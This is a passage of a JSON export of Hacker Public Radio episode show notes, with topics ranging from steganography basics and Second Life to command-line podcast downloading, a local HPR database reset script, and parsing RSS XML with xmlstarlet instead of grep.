                                                            Source(s): https://www.zebrapen.com/collections/featured-products/products/f-301-retractable-ballpoint?variant=40832122126542

                                                            ","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Journal, Bullet journal, bujo, discbound","version":0,"downloads":0,"valid":1}, {"id":4394,"date":"2025-06-05","title":"Digital Steganography Intro","duration":1956,"summary":"I take a very high level look at digital stegnography. What is it? How is it used in practice?","notes":"\n

                                                            \nApologies for not introducing myself in the audio! I struggled a bit to take on this topic at a high enough level to keep it to about a half hour, because every subtopic is nuanced and the details are always technical.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nNot sure how well it worked out but my intention was to focus mainly on the 2 most common examples - hiding messages in text and in images.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTopics I mentioned:

                                                            \n
                                                              \n
                                                            • \nencryption vs steganography
                                                            • \n
                                                            • \nwho uses steganography and for what purpose?
                                                            • \n
                                                            • \nhiding text in text
                                                            • \n
                                                            • \nhiding data in images using LSB encoding
                                                            • \n
                                                            • \nhiding data in other places
                                                            • \n
                                                            • \nsteganalysis
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIf you want to leave feedback, consider saying whether you think it would be more useful to talk about:

                                                            \n
                                                              \n
                                                            • \nusing the most popular tools and software
                                                            • \n
                                                            • \ndetailed look at specific steganographic techniques
                                                            • \n
                                                            • \ncase studies
                                                            • \n
                                                            \n

                                                            \nin the unlikely case that I do a followup episode (I doubt there's a strong interest in this topic)

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":379,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"steganography","version":0,"downloads":0,"valid":1}, {"id":4395,"date":"2025-06-06","title":"Second Life","duration":1612,"summary":"Lee talks to Elsbeth about a persistent online virtual world","notes":"\n

                                                            \n Second Life is a multiplayer virtual world that allows people to\n create an avatar for themselves and then\n interact with other users and user-created content within a\n multi-user online environment.
                                                            \n From Wikipedia, the free encyclopedia

                                                            \n

                                                            Links
                                                            \n

                                                            \n ","hostid":403,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"3d gaming, simulation","version":0,"downloads":0,"valid":1}, {"id":4396,"date":"2025-06-09","title":"AI and Sangria","duration":1276,"summary":"operat0r talks about AI tools and troubble shooting while he makes Sangria with RUM!","notes":"\n

                                                            \nWe join operat0r in the kitchen for another cooking and AI discussion. Chock full of tasty tips of getting your LLM of choice up and running.

                                                            \n

                                                            \nLinks

                                                            \n\n\n\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"cooking,hacking,AI","version":0,"downloads":0,"valid":1}, {"id":4397,"date":"2025-06-10","title":"Transfer files from desktop to phone with qrcp","duration":557,"summary":"Use a QR encoded URL to quickly share a file on your local network","notes":"

                                                            How does it work?

                                                            \n

                                                            \"A\n

                                                            \n

                                                            \n qrcp binds a web server to the address of your Wi-Fi\n network interface on a random port and creates a handler for it.\n The default handler serves the content and exits the program when\n the transfer is complete. When used to receive files, qrcp\n serves an upload page and handles the transfer.

                                                            \n

                                                            The tool prints a QR code that encodes the text:

                                                            \n
                                                            http://{address}:{port}/{random_path}
                                                            \n Most QR apps can detect URLs in decoded text and act accordingly\n (i.e. open the decoded URL with the default browser), so when the QR\n code is scanned the content will begin downloading by the mobile\n browser.\n

                                                            \n (Notes taken from https://github.com/claudiodangelis/qrcp\n released under the MIT\n\n license.
                                                            \n

                                                            Links

                                                            \n ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"phone, qr, httpd, netstat","version":0,"downloads":0,"valid":1}, {"id":4398,"date":"2025-06-11","title":"Command line fun: downloading a podcast","duration":647,"summary":"Kevie goes through how to download from an RSS feed from the command","notes":"\n

                                                            \n Kevie, from the \n TuxJam podcast, continues his look at audio tools on the\n command line; this time focusing on acquiring audio files from an\n RSS feed.

                                                            \n

                                                            \n Save the latest file from a feed:

                                                            \n

                                                            \n

                                                            \n
                                                            wget `curl RSS_FEED | grep -o 'https*://[^\"]*FILE_EXTENSION' | head -1`

                                                            \n

                                                            \n To get the latest episode of TuxJam

                                                            \n

                                                            \n

                                                            \n
                                                            wget `curl https://tuxjam.otherside.network/feed/podcast/ | grep -o 'https*://[^\"]*ogg' | head -1`

                                                            \n

                                                            \n However if you want the files from the whole feed:

                                                            \n

                                                            \n

                                                            \n
                                                            wget `curl RSS_FEED | grep -Eo 'https*://[^\"]*FILE_EXTENSION' | sort -u | xargs`

                                                            \n

                                                            \n To get every episode of TuxJam:

                                                            \n

                                                            \n

                                                            \n
                                                            wget `curl https://tuxjam.otherside.network/feed/podcast/ | grep -Eo 'https*://[^\"]*ogg' | sort -u | xargs`

                                                            \n

                                                            \n If you wish to specify the directory to save the file in then use\n -P /directory after wget. To download the TuxJam feed and place\n the files in a directory called Podcasts in your home folder you\n would use:

                                                            \n

                                                            \n

                                                            \n
                                                            wget -P ~/Podcasts `curl https://tuxjam.otherside.network/feed/podcast/ | grep -Eo 'https*://[^\"]*ogg' | sort -u | xargs`

                                                            \n

                                                            \n For more in this mini-series of audio command line tools then see:

                                                            \n
                                                              \n
                                                            • \n \n hpr4249 :: Audio Streams on the Command Line\n
                                                            • \n
                                                            • \n \n hpr4287 :: Schedule audio recordings on the command line\n
                                                            • \n
                                                            • \n \n hpr4294 :: Schedule audio recordings on the command line - A\n bit of fine tuning\n
                                                            • \n
                                                            ","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CLI, command line, RSS, Linux, download","version":0,"downloads":0,"valid":1}, {"id":4399,"date":"2025-06-12","title":"gpg-gen-key","duration":1195,"summary":"Oxo is back! And today with an interesting script that automates the generation of gpg keys.","notes":"\n

                                                            More than ten years ago I studied the lecture recordings of\n \"Introduction to Cryptography\" Introduction\n to Cryptography by Christof Paar - Invidious by Professor\n Paar Christof\n Paar - Wikipedia, which are absolutely amazing! These\n lectures will learn you how the most popular encryption algorithms\n work.

                                                            \n

                                                            The scripts I mentioned in their current versions are:

                                                            \n
                                                              \n
                                                            • tool/gpg-gen-key\n at main - oxo/tool - Codeberg.org
                                                            • \n
                                                            • tool/gpg-bu-key\n at main - oxo/tool - Codeberg.org
                                                            • \n
                                                            • tool/gpg-pass-vfy\n at main - oxo/tool - Codeberg.org
                                                            • \n
                                                            \n

                                                            Search the history for commit 95408d31c2 (gpg-gen-key) and\n dd608f9bd6 (gpg-bukey and gpg-pass-vfy) for the versions at the\n moment of recording.

                                                            ","hostid":448,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"oxo,bash,commandline,script,gnupg,gpg,cryptography,keys","version":0,"downloads":0,"valid":1}, {"id":4400,"date":"2025-06-13","title":"Isaac Asimov: Other Asimov Novels of Interest","duration":889,"summary":"A look at three stand-alone novels from Asimov","notes":"\n\n \n\n \n \n \n

                                                            \n Isaac Asimov is best known for two series, the Foundation series\n and the Robot series, and he eventually tied them together. But he\n also wrote some stand-alone novels that are quite good, and I want\n to discuss them here. They are The End Of Eternity, The Gods\n Themselves, and Nemesis.

                                                            \n

                                                            \n Links:

                                                            \n \n \n","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Asimov","version":0,"downloads":0,"valid":1}, {"id":4401,"date":"2025-06-16","title":"hajime","duration":1413,"summary":"Let's see how oxo is using hajime in order to install Arch Linux on a old netbook.","notes":"

                                                            hajime

                                                            \n

                                                            This installation script installs an Arch Linux system\n on an x64 architecture. The installation can be done with or\n without a network connection (internet).

                                                            \n
                                                              \n
                                                            • oxo/hajime -\n Codeberg.org
                                                            • \n
                                                            • hajime/make-recov\n\n\n at main - oxo/hajime - Codeberg.org
                                                            • \n
                                                            • isolatest/isolatest\n\n\n at main - oxo/isolatest - Codeberg.org
                                                            • \n
                                                            ","hostid":448,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"oxo,bash,commandline,archlinux,installation,script,hajime","version":0,"downloads":0,"valid":1}, {"id":4402,"date":"2025-06-17","title":"pinetab2","duration":1199,"summary":"how I'm using the pinetab2","notes":"\n

                                                            1 intro

                                                            \n
                                                              \n
                                                            • hpr 4346 swift 110
                                                            • \n
                                                            \n

                                                            2 prior tablet

                                                            \n
                                                              \n
                                                            • samsung tablet
                                                            • \n
                                                            • lineageos
                                                            • \n
                                                            \n

                                                            3 my use case

                                                            \n
                                                              \n
                                                            • reading pdfs/epubs
                                                            • \n
                                                            • using emacs
                                                            • \n
                                                            • forth developement on microcontrollers, serial port access was\n a challenge
                                                            • \n
                                                            \n

                                                            4 my not use case

                                                            \n
                                                              \n
                                                            • video media consumption
                                                            • \n
                                                            • audio consumption
                                                            • \n
                                                            \n

                                                            5 pinetab2

                                                            \n
                                                              \n
                                                            • tablet based on rockchip rk3566
                                                            • \n
                                                            • 4 gig and 8 gig models
                                                            • \n
                                                            • community driven developement
                                                            • \n
                                                            \n

                                                            6 impressions

                                                            \n
                                                              \n
                                                            • kids love rolling releases and glitzy desktops
                                                            • \n
                                                            • this device needs minimum everything to be useful
                                                            • \n
                                                            • stuck with arch
                                                            • \n
                                                            • stuck with systemd
                                                            • \n
                                                            • wayland
                                                            • \n
                                                            \n

                                                            7 so what i did

                                                            \n
                                                              \n
                                                            • installed x11, better, mature system, virtual keyboards
                                                            • \n
                                                            • installed fluxbox, low system resources needed. lots of\n customization done by config files, yes suckless is no good
                                                            • \n
                                                            • installed emacs-lucid (gtk no good), why you ask?
                                                            • \n
                                                            • emacs is a lisp environment focused on text editing
                                                            • \n
                                                            • emacs has mechanisms that allow intereaction with X
                                                            • \n
                                                            • easy to build functions to get basic tablet motions
                                                            • \n
                                                            • epub modes, pdf modes, terminal emulator , org mode!
                                                            • \n
                                                            • installed xvkbd for virtual keyboard in tablet mode
                                                            • \n
                                                            • installed xpdf
                                                            • \n
                                                            • all programs in factory arch install available
                                                            • \n
                                                            \n

                                                            8 where this is at

                                                            \n
                                                              \n
                                                            • functions ok
                                                            • \n
                                                            • laptop mode is nice, keyboard case works well
                                                            • \n
                                                            • tablet rotation is done via emacs commands (need to bind these\n to\n keys) and has three modes
                                                            • \n
                                                            • tablet mode with virtual keyboard
                                                            • \n
                                                            • tablet mode with external key board (full screen portrait\n mode)
                                                            • \n
                                                            • tablet mode using keyboard case, book mode
                                                            • \n
                                                            • still suffer random crashes, still tracking that down
                                                            • \n
                                                            • good battery life (battery status available on emacs modeline)
                                                            • \n
                                                            • wifi works, bluetooth doesn't
                                                            • \n
                                                            • easy access to serial ports using standard tools
                                                            • \n
                                                            \n

                                                            9 what i'd like to do

                                                            \n
                                                              \n
                                                            • install slackware
                                                            • \n
                                                            • spify up the desktop
                                                            • \n
                                                            • add functionality things like brightness control
                                                            • \n
                                                            ","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"pine64, tablets, fluxbox","version":0,"downloads":0,"valid":1}, {"id":4403,"date":"2025-06-18","title":"How to get your very own copy of the HPR database","duration":172,"summary":"Commands to download and query the HPR database","notes":"\n

                                                            \nGet your own copy of the HPR database

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nreset_hpr.sh

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \nsystemctl start mariadb\ncurl https://hackerpublicradio.org/hpr.sql > hpr.sql \nmariadb -e 'drop database hpr_hpr'\nmariadb -e 'create database hpr_hpr'\nmariadb hpr_hpr < hpr.sql \nmariadb -e 'select  count(*) from eps' hpr_hpr\nmariadb -e 'select * from comments where comment_author_name=\"Torin Doyle\" \\G' hpr_hpr\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"sql,hpr","version":0,"downloads":0,"valid":1}, {"id":4404,"date":"2025-06-19","title":"Kevie nerd snipes Ken by grepping xml","duration":1579,"summary":"Grepping XML kills kittens, so Ken uses xmlstarlet to download a podcast","notes":"\n

                                                            \nMore Command line fun: downloading a podcast

                                                            \n

                                                            \nIn the show \nhpr4398 :: Command line fun: downloading a podcast\n Kevie walked us through a command to download a podcast.

                                                            \n

                                                            \nHe used some techniques here that I hadn't used before, and it's always great to see how other people approach the problem.

                                                            \n

                                                            \nLet's have a look at the script and walk through what it does, then we'll have a look at some \"traps for young players\" as the \nEEVBlog\n is fond of saying.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAnalysis of the Script

                                                            \n
                                                            \nwget `curl https://tuxjam.otherside.network/feed/podcast/ | grep -o 'https*://[^\"]*ogg' | head -1`\n
                                                            \n

                                                            \nIt chains four different commands together to \"Save the latest file from a feed\".

                                                            \n

                                                            \nLet's break it down so we can have checkpoints between each step.

                                                            \n

                                                            \nI often do this when writing a complex one liner - first do it as steps, and then combine it.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                              \n
                                                            1. \nThe curl command gets \nhttps://tuxjam.otherside.network/feed/podcast/\n.
                                                            2. \n
                                                            \n

                                                            \nTo do this ourselves we will call \ncurl https://tuxjam.otherside.network/feed/podcast/ --output tuxjam.xml\n, as the default file name is index.html.

                                                            \n

                                                            \nThis gives us a xml file, and we can confirm it's valid xml with the \nxmllint\n command.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n$ xmllint --format tuxjam.xml >/dev/null\n$ echo $?\n0\n
                                                            \n

                                                            \nHere the output of the command is ignored by redirecting it to \n/dev/null\n Then we check the error code the last command had. As it's \n0\n it completed sucessfully.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                              \n
                                                            1. \nKevie then passes the output to the \ngrep\n search command with the option \n-o\n and then looks for any string starting with https followed by anything then followed by two forward slashes, then
                                                            2. \n
                                                            \n
                                                            \n-o, --only-matching\n      Print only the matched (non-empty) parts of a matching line, with each such part on a separate output line\n
                                                            \n

                                                            \nWe can do the same with. I was not aware that grep defaulted to regex, as I tend to add the \n--perl-regexp\n to explicitly add it.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \ngrep --only-matching 'https*://[^\"]*ogg' tuxjam.xml\n\n    http matches the characters http literally (case sensitive)\n    s* matches the character s literally (case sensitive)\n        Quantifier: * Between zero and unlimited times, as many times as possible, giving back as needed [greedy]\n    : matches the character : literally\n    / matches the character / literally\n    / matches the character / literally\n    [^\"]* match a single character not present in the list below\n        Quantifier: * Between zero and unlimited times, as many times as possible, giving back as needed [greedy]\n        \" a single character in the list \" literally (case sensitive)\n    ogg matches the characters ogg literally (case sensitive)\n
                                                            \n

                                                            \nWhen we run this ourselves we get the following

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n$ grep --only-matching 'https*://[^\"]*ogg' tuxjam.xml \nhttps://archive.org/download/tuxjam-121/tuxjam_121.ogg\nhttps://archive.org/download/tuxjam-120/TuxJam_120.ogg\nhttps://archive.org/download/tux-jam-119/TuxJam_119.ogg\nhttps://archive.org/download/tuxjam_118/tuxjam_118.ogg\nhttps://archive.org/download/tux-jam-117-uncut/TuxJam_117.ogg\nhttps://tuxjam.otherside.network/tuxjam-115-ogg\nhttps://archive.org/download/tuxjam_116/tuxjam_116.ogg\nhttps://tuxjam.otherside.network/tuxjam-115-ogg\nhttps://tuxjam.otherside.network/tuxjam-115-ogg\nhttps://tuxjam.otherside.network/tuxjam-115-ogg\nhttps://ogg\nhttp://tuxjam.otherside.network/wp-content/uploads/sites/5/2024/10/tuxjam_115_OggCamp2024.ogg\nhttps://ogg\nhttps://archive.org/download/tuxjam_114/tuxjam_114.ogg\nhttps://archive.org/download/tuxjam_113/tuxjam_113.ogg\nhttps://archive.org/download/tuxjam_112/tuxjam_112.ogg\n
                                                            \n
                                                              \n
                                                            1. \nThe last command returns the first line, so therefore \nhttps://archive.org/download/tuxjam-121/tuxjam_121.ogg\n
                                                            2. \n
                                                            3. \nFinally that line is used as the input to the \nwget\n command.
                                                            4. \n
                                                            \n

                                                            \nProblems with the approach

                                                            \n

                                                            \nRelying on grep with structured data like xml or json can lead to problems.

                                                            \n

                                                            \nWhen we looked at the output of the command in step 2, some of the results gave \nhttps://ogg\n.

                                                            \n

                                                            \nWhen run the same command without the \n--only-matching\n argument we see what was matched.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n$ grep 'https*://[^\"]*ogg' tuxjam.xml \n                <enclosure url=\"https://archive.org/download/tuxjam-121/tuxjam_121.ogg\" length=\"66760045\" type=\"audio/ogg\" />\n                <enclosure url=\"https://archive.org/download/tuxjam-120/TuxJam_120.ogg\" length=\"71038808\" type=\"audio/ogg\" />\n                <enclosure url=\"https://archive.org/download/tux-jam-119/TuxJam_119.ogg\" length=\"77851752\" type=\"audio/ogg\" />\n                <enclosure url=\"https://archive.org/download/tuxjam_118/tuxjam_118.ogg\" length=\"87356918\" type=\"audio/ogg\" />\n                <enclosure url=\"https://archive.org/download/tux-jam-117-uncut/TuxJam_117.ogg\" length=\"69092470\" type=\"audio/ogg\" />\n<p>This episode may not be live as in <a href=\"https://tuxjam.otherside.network/tuxjam-115-oggcamp-2024/\">TuxJam 115 from Oggcamp</a> but your friendly foursome of Al, Dave (thelovebug), Kevie and Andrew (mcnalu) are very much alive to treats of Free and Open Source Software and Creative Commons tunes.</p>\n                <enclosure url=\"https://archive.org/download/tuxjam_116/tuxjam_116.ogg\" length=\"80274046\" type=\"audio/ogg\" />\n                <link>https://tuxjam.otherside.network/tuxjam-115-oggcamp-2024/</link>\n                <comments>https://tuxjam.otherside.network/tuxjam-115-oggcamp-2024/#respond</comments>\n                <wfw:commentRss>https://tuxjam.otherside.network/tuxjam-115-oggcamp-2024/feed/</wfw:commentRss>\n<p>With the group meeting up together for the first time in person, it was decided that a live recording would be an appropriate venture. With the quartet squashed around a table and a group of adoring fans crowded into a room at the <a href=\"https://www.pendulumhotel.co.uk/\">Pendulum Hotel</a> in Manchester, the discussion turns to TuxJam reviews that become regularly used applications, what we enjoyed about <a href=\"https://oggcamp.org/\">OggCamp 2024</a> and for the third section the gang put their reputation on the line and allow open questions from the sea of dedicated fans.</p>\n                <enclosure url=\"http://tuxjam.otherside.network/wp-content/uploads/sites/5/2024/10/tuxjam_115_OggCamp2024.ogg\" length=\"62603883\" type=\"audio/ogg\" />\n<li><a href=\"https://oggcamp.org/\">OggCamp 2024</a> on Saturday 12 and Sunday 13 October 2024, Manchester UK.</li>\n                <enclosure url=\"https://archive.org/download/tuxjam_114/tuxjam_114.ogg\" length=\"75051959\" type=\"audio/ogg\" />\n                <enclosure url=\"https://archive.org/download/tuxjam_113/tuxjam_113.ogg\" length=\"72892480\" type=\"audio/ogg\" />\n                <enclosure url=\"https://archive.org/download/tuxjam_112/tuxjam_112.ogg\" length=\"82495846\" type=\"audio/ogg\" />\n
                                                            \n

                                                            \nTwo of the hits are not enclosures at all, they are references in the text to OggCamp \nwhat we enjoyed about <a href=\"https://oggcamp.org/\">OggCamp 2024</a>\n

                                                            \n

                                                            \nNormally running \ngrep\n will only get one entry per line, and if the xml is minimised it can miss entries on a file that comes across as one big line.

                                                            \n

                                                            \nI did this myself using

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \nxmllint --noblanks tuxjam.xml > tuxjam-min.xml\n
                                                            \n

                                                            \nI then edited it and replaced the new lines with spaces. I have to say that the \n--only-matching\n argument is doing a great job at pulling out the matches.

                                                            \n

                                                            \nThat said the results were not perfect either.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n$ grep --only-matching 'https*://[^\"]*ogg' tuxjam-min.xml\nhttps://archive.org/download/tuxjam-121/tuxjam_121.ogg\nhttps://archive.org/download/tuxjam-120/TuxJam_120.ogg\nhttps://archive.org/download/tux-jam-119/TuxJam_119.ogg\nhttps://archive.org/download/tuxjam_118/tuxjam_118.ogg\nhttps://archive.org/download/tux-jam-117-uncut/TuxJam_117.ogg\nhttps://tuxjam.otherside.network/tuxjam-115-ogg\nhttps://archive.org/download/tuxjam_116/tuxjam_116.ogg\nhttps://tuxjam.otherside.network/tuxjam-115-ogg\nhttps://tuxjam.otherside.network/?p=1029</guid><comments>https://tuxjam.otherside.network/tuxjam-115-oggcamp-2024/#respond</comments><wfw:commentRss>https://tuxjam.otherside.network/tuxjam-115-ogg\nhttps://ogg\nhttp://tuxjam.otherside.network/wp-content/uploads/sites/5/2024/10/tuxjam_115_OggCamp2024.ogg\nhttps://ogg\nhttps://archive.org/download/tuxjam_114/tuxjam_114.ogg\nhttps://archive.org/download/tuxjam_113/tuxjam_113.ogg\nhttps://archive.org/download/tuxjam_112/tuxjam_112.ogg\n
                                                            \n

                                                            \nYou could fix it by modifying the \ngrep\n arguments and add additional searches looking for \nenclosure\n. The problem with that approach is that you'll forever and a day be chasing issues when someone changes something.

                                                            \n

                                                            \nSo the approach is officially \"Grand\", but it's a very likely to break if you're not babysitting it.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSuggested Applications.

                                                            \n

                                                            \nI recommend never parsing \nstructured documents\n, like xml or json with grep.

                                                            \n

                                                            \nYou should use dedicated parsers that understands the document markup, and can intelligently address parts of it.

                                                            \n

                                                            \nI recommend:

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n

                                                            \nOf course anyone that looks at my code on the \nhpr gittea\n will know this is a case of \"do what I say, not what I do.\"

                                                            \n

                                                            \nNever parse xml with grep, where the only possible exception is to see if a string is in a file in the first place.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \ngrep --max-count=1 --files-with-matches\n
                                                            \n

                                                            \nThat's justified under the fact that \ngrep\n is going to be faster than having to parse, and build a \nXML Document Object Model\n when you don't have to.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSome Tips

                                                            \n

                                                            \nAlways refer to examples and specification

                                                            \n

                                                            \nA specification is just a set of rules that tell you how the document is formatted.

                                                            \n

                                                            \nThere is a danger in just looking at example files, and not reading the specifications. I had a situation once where a software developer raised a bug as the files didn't begin with \nken-test-\n followed by a \nuuid\n. They were surprised when the supplied files did not follow this convention as per the examples. Suffice to say that was rejected.

                                                            \n

                                                            \nFor us there are the rules from the \nRSS specification\n itself, but as it's a XML file there are \nXML Specifications\n. While the RSS spec is short, the XML is not, so people tend to use dedicated libraries to parse XML. Using a dedicated tool like \nxmlstarlet\n will allow us to mostly ignore the details of XML.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n\nRSS is a dialect of XML\n. All RSS files must conform to the XML 1.0 specification, as published on the World Wide Web Consortium (W3C) website.
                                                            \n

                                                            \nThe first line of the tuxjam feed shows it's an XML file.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n
                                                            \n

                                                            \nThe specification goes on to say \"At the top level, a RSS document is a element, with a mandatory attribute called version, that specifies the version of RSS that the document conforms to. If it conforms to this specification, the version attribute must be 2.0.\" And sure enough then the second line show that it's a RSS file.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n<rss version=\"2.0\" ...\n
                                                            \n

                                                            \nUse the best tool for the job

                                                            \n

                                                            \nYou wouldn't grep a Excel File ? Why would you grep an XML file ?

                                                            \n

                                                            \nWe could go on all day but I want to get across the idea that there is structure in the file. As XML is everywhere you should have a tool to process it. More than likely \nxmlstarlet\n is in all the distro repos, so just install it.

                                                            \n

                                                            \nThe help looks like this:

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n$ xmlstarlet --help\nXMLStarlet Toolkit: Command line utilities for XML\nUsage: xmlstarlet [<options>] <command> [<cmd-options>]\nwhere <command> is one of:\n  ed    (or edit)      - Edit/Update XML document(s)\n  sel   (or select)    - Select data or query XML document(s) (XPATH, etc)\n  tr    (or transform) - Transform XML document(s) using XSLT\n  val   (or validate)  - Validate XML document(s) (well-formed/DTD/XSD/RelaxNG)\n  fo    (or format)    - Format XML document(s)\n  el    (or elements)  - Display element structure of XML document\n  c14n  (or canonic)   - XML canonicalization\n  ls    (or list)      - List directory as XML\n  esc   (or escape)    - Escape special XML characters\n  unesc (or unescape)  - Unescape special XML characters\n  pyx   (or xmln)      - Convert XML into PYX format (based on ESIS - ISO 8879)\n  p2x   (or depyx)     - Convert PYX into XML\n<options> are:\n  -q or --quiet        - no error output\n  --doc-namespace      - extract namespace bindings from input doc (default)\n  --no-doc-namespace   - don't extract namespace bindings from input doc\n  --version            - show version\n  --help               - show help\nWherever file name mentioned in command help it is assumed\nthat URL can be used instead as well.\n\nType: xmlstarlet <command> --help <ENTER> for command help\n\nXMLStarlet is a command line toolkit to query/edit/check/transform\nXML documents (for more information see http://xmlstar.sourceforge.net/)\n
                                                            \n

                                                            \nYou can get more help on a given topic by calling the \nxmlstarlet\n \ncommand\n like this:

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n$ xmlstarlet el --help\nXMLStarlet Toolkit: Display element structure of XML document\nUsage: xmlstarlet el [<options>] <xml-file>\nwhere\n  <xml-file> - input XML document file name (stdin is used if missing)\n  <options> is one of:\n  -a    - show attributes as well\n  -v    - show attributes and their values\n  -u    - print out sorted unique lines\n  -d<n> - print out sorted unique lines up to depth <n>\n\nXMLStarlet is a command line toolkit to query/edit/check/transform\nXML documents (for more information see http://xmlstar.sourceforge.net/)\n
                                                            \n

                                                            \nTo prove that it's a structured document we can run the command \nxmlstarlet el -u\n - show me unique elements

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n$ xmlstarlet el -u tuxjam.xml \nrss\nrss/channel\nrss/channel/atom:link\nrss/channel/copyright\nrss/channel/description\nrss/channel/generator\nrss/channel/image\nrss/channel/image/link\nrss/channel/image/title\nrss/channel/image/url\nrss/channel/item\nrss/channel/item/category\nrss/channel/item/comments\nrss/channel/item/content:encoded\nrss/channel/item/description\nrss/channel/item/enclosure\nrss/channel/item/guid\nrss/channel/item/itunes:author\nrss/channel/item/itunes:duration\nrss/channel/item/itunes:episodeType\nrss/channel/item/itunes:explicit\nrss/channel/item/itunes:image\nrss/channel/item/itunes:subtitle\nrss/channel/item/itunes:summary\nrss/channel/item/link\nrss/channel/item/pubDate\nrss/channel/item/slash:comments\nrss/channel/item/title\nrss/channel/item/wfw:commentRss\nrss/channel/itunes:author\nrss/channel/itunes:category\nrss/channel/itunes:explicit\nrss/channel/itunes:image\nrss/channel/itunes:owner\nrss/channel/itunes:owner/itunes:name\nrss/channel/itunes:subtitle\nrss/channel/itunes:summary\nrss/channel/itunes:type\nrss/channel/language\nrss/channel/lastBuildDate\nrss/channel/link\nrss/channel/podcast:guid\nrss/channel/podcast:license\nrss/channel/podcast:location\nrss/channel/podcast:medium\nrss/channel/podcast:podping\nrss/channel/rawvoice:frequency\nrss/channel/rawvoice:location\nrss/channel/sy:updateFrequency\nrss/channel/sy:updatePeriod\nrss/channel/title\n
                                                            \n

                                                            \nThat is the \nxpath\n representation of the xml structure. It's very similar to a unix filesystem tree. There is one \nrss\n branch, of that is one \nchannel\n branch, and that can have many \nitem\n branches.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\"Save the latest file from a feed\"

                                                            \n

                                                            \nThe ask here is to \"Save the latest file from a feed\".

                                                            \n

                                                            \nThe solution Kevie gave gets the \"first entry in the feed\", which is correct for his feed but is not safe.

                                                            \n

                                                            \nHowever let's see how we could replace \ngrep\n with \nxmlstarlet\n.

                                                            \n

                                                            \nThe definition of \nenclosure\n is:

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n<enclosure> is an optional sub-element of <item>.\n\nIt has three required attributes. url says where the enclosure is located, \nlength says how big it is in bytes, and type says what its type is, a standard MIME type.\n\nThe url must be an http url.\n\n<enclosure url=\"http://www.scripting.com/mp3s/weatherReportSuite.mp3\" length=\"12216320\" type=\"audio/mpeg\" />\n
                                                            \n

                                                            \nThe location of the files must be in \nrss/channel/item/enclosure\n or it's not a Podcast feed.

                                                            \n

                                                            \nIn each \nenclosure\n there has to be a xml attribute called \nurl\n which points to the media.

                                                            \n

                                                            \n\nxmlstarlet\n has the select command to select locations.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n$ xmlstarlet sel --help\nXMLStarlet Toolkit: Select from XML document(s)\nUsage: xmlstarlet sel <global-options> {<template>} [ <xml-file> ... ]\nwhere\n  <global-options> - global options for selecting\n  <xml-file> - input XML document file name/uri (stdin is used if missing)\n  <template> - template for querying XML document with following syntax:\n\n<global-options> are:\n  -Q or --quiet             - do not write anything to standard output.\n  -C or --comp              - display generated XSLT\n  -R or --root              - print root element <xsl-select>\n  -T or --text              - output is text (default is XML)\n  -I or --indent            - indent output\n  -D or --xml-decl          - do not omit xml declaration line\n  -B or --noblanks          - remove insignificant spaces from XML tree\n  -E or --encode <encoding> - output in the given encoding (utf-8, unicode...)\n  -N <name>=<value>         - predefine namespaces (name without 'xmlns:')\n                              ex: xsql=urn:oracle-xsql\n                              Multiple -N options are allowed.\n  --net                     - allow fetch DTDs or entities over network\n  --help                    - display help\n\nSyntax for templates: -t|--template <options>\nwhere <options>\n  -c or --copy-of <xpath>   - print copy of XPATH expression\n  -v or --value-of <xpath>  - print value of XPATH expression\n  -o or --output <string>   - output string literal\n  -n or --nl                - print new line\n  -f or --inp-name          - print input file name (or URL)\n  -m or --match <xpath>     - match XPATH expression\n  --var <name> <value> --break or\n  --var <name>=<value>      - declare a variable (referenced by $name)\n  -i or --if <test-xpath>   - check condition <xsl:if test=\"test-xpath\">\n  --elif <test-xpath>       - check condition if previous conditions failed\n  --else                    - check if previous conditions failed\n  -e or --elem <name>       - print out element <xsl:element name=\"name\">\n  -a or --attr <name>       - add attribute <xsl:attribute name=\"name\">\n  -b or --break             - break nesting\n  -s or --sort op xpath     - sort in order (used after -m) where\n  op is X:Y:Z, \n      X is A - for order=\"ascending\"\n      X is D - for order=\"descending\"\n      Y is N - for data-type=\"numeric\"\n      Y is T - for 